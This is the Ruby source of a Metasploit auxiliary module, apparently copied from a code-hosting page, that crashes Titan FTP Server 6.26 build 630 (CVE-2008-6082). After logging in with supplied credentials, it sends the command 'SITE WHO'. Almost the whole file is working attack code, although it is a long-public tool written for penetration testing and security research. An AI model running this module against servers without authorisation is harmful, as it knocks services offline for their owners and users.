48 lines
1.2 KiB
Ruby
48 lines
1.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Ftp
|
|
include Msf::Auxiliary::Dos
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',
|
|
'Description' => %q{
|
|
The Titan FTP server v6.26 build 630 can be DoS'd by
|
|
issuing "SITE WHO". You need a valid login so you
|
|
can send this command.
|
|
},
|
|
'Author' => 'kris katterjohn',
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2008-6082'],
|
|
[ 'OSVDB', '49177'],
|
|
[ 'EDB', '6753']
|
|
],
|
|
'DisclosureDate' => 'Oct 14 2008'))
|
|
|
|
# They're required
|
|
register_options([
|
|
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
|
|
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
|
|
])
|
|
end
|
|
|
|
def run
|
|
return unless connect_login
|
|
print_status("Sending command...")
|
|
raw_send("SITE WHO\r\n")
|
|
select(nil,nil,nil,1)
|
|
disconnect
|
|
end
|
|
end
|